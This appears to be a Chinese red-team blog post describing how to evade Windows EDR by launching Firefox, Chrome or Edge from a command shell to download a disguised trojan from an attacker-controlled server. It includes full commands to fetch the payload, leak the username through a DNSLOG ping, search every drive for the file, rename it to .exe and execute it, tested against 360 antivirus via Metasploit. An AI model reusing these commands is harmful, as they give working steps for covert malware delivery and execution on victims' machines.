查看原文
其他

又一个 Windows 远程下载方法 | 红队攻防

NOP Team NOP Team 2023-07-11

对于很多攻击测试人员来说,只要让我把程序上传到服务器,让我执行,我就能给你一切

我们希望把这个事情再向前推进一步,只要能执行命令,就能给你一切

对于 Linux 来说,这几乎没有难度,对于 Windows 来说,挺难受的,因为这些 EDR 软件会不竭余力地对我们远程下载进行阻拦,今天我再介绍一种简单的方法

向服务器上传木马这种事从本质上来说就是向服务器提交一些数据,之后服务器按照我们想要的方式进行存储。

我不知道为啥大家做这种事情最先用的是 certutilpowershellvbsBitsadmin等,不应该是浏览器吗?

带着这个疑问,有了这篇文章

0x01 前提条件

前提条件

  • 服务器出网
  • 服务器安装了其他浏览器
    • firefox
    • chrome
    • edge

0x02 利用方法

首先,将我们的免杀木马后缀改为 rar ,当然,还有大量的后缀可以使用,需要注意的是,这种后缀的文件必须是直接下载,而不是在浏览器中打开,所以 .jpg 这种就别用了

firefox

start firefox http://192.168.1.1:19900/demo.rar

chrome

start chrome http://192.168.1.1:19900/demo.rar

edge

start msedge http://192.168.1.1:19900/demo.rar

0x03 实验测试

EDR: 360 安全卫士 + 360 杀毒

系统:Windows Server 2012

控制端:metasploit


为了更加真实地模拟远程命令执行环境,这里用 msf 的 shell 来模拟,使用 360 作为 EDR

模拟控制环境


配置木马下载服务器

我们使用 everything.exe 来模拟免杀木马


命令行中执行下载指令

以 firefox 为例

重命名我们远程下载的文件,重命名为 .exe 文件并执行

成功执行我们的“免杀木马”

chrome

edge

0x04 无回显如何执行

从上面实验环境来看没啥困难,但是在实际工作工程中,很多时候我们无法获取到回显,也就是说我们需要把整套命令建立在完全没有任何回显的条件下进行

一般来说,浏览器会自动下载到

C:\Users\username\Downloads  这个目录下, username 是当前用户名称

但是,如果没有回显,我们无法直接执行 whoami 获取用户名,所以要找到我们下载的文件,主要有两种方案

通过 DNSLOG 获取用户名,拼接得到路径

ping %USERNAME%.flag.9e56ka.dnslog.cn

这样,我们获取到当前用户名为 helper ,之后我们拼接处路径为 C:\Users\helper\Downloads

但是这种方法有盲点对吧,因为可能目标把下载默认位置给改了,这样我们就扑了个空

通过文件遍历找到文件位置

既然我们能控制文件的名字,那我们可以使用一个比较有代表性的名字,这里以 NNNNnop.rar 为例

远程下载;确定文件路径;重命名;执行

start msedge http://192.168.1.1:19900/NNNNnop.rar && ping -n 10 127.0.0.1 >NUL && for /f %k in ('cmd /v:off /Q /c "for /f %i in (^'wmic logicaldisk get caption ^| findstr ":"^') do dir %i\ /b /s 2>nul | findstr "NNNNnop.rar""') do set kk=%k && (set dd=%kk:NNNNnop.rar=123456.exe%) && rename %k 123456.exe && ping -n 10 127.0.0.1 >NUL && cmd /c %dd%

这个命令挺复杂的,我按照步骤来简单说一下

  • 使用 edge 浏览器远程下载

    start msedge http://192.168.1.1:19900/NNNNnop.rar

  • 延时 10 s

    ping -n 10 127.0.0.1 >NUL

  • 遍历所有盘符,寻找 NNNNnop.rar 这个文件

    cmd /v:off /Q /c "for /f %i in (^'wmic logicaldisk get caption ^| findstr ":"^') do dir %i\ /b /s 2>nul | findstr "NNNNnop.rar""

    NNNNnop.rar 是我们远程下载的文件名,这个文件名一定要唯一,不然后续的命令会把系统同名文件给重命名并且执行了,会影响系统

  • 重命名 NNNNnop.rar123456.exe ,路径还是在下载路径

    for /f %k in ('cmd /v:off /Q /c "for /f %i in (^'wmic logicaldisk get caption ^| findstr ":"^') do dir %i\ /b /s 2>nul | findstr "NNNNnop.rar""') do set kk=%k && (set dd=%kk:NNNNnop.rar=123456.exe%) && rename %k 123456.exe

  • 延时 10 s

    ping -n 10 127.0.0.1 >NUL

  • 执行我们的木马

    cmd /c %dd%

成功执行了我们的“免杀木马”

往期文章

远程下载的通用替代方案 | 红队攻防
cdb执行shellcode(免杀) | 红队攻防
放弃 powershell? 启动 sqlps!|  红队攻防
数据库连接利用工具——Sylas | 红队攻防
记一次攻防演练tips | 攻防tips

有态度,不苟同

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存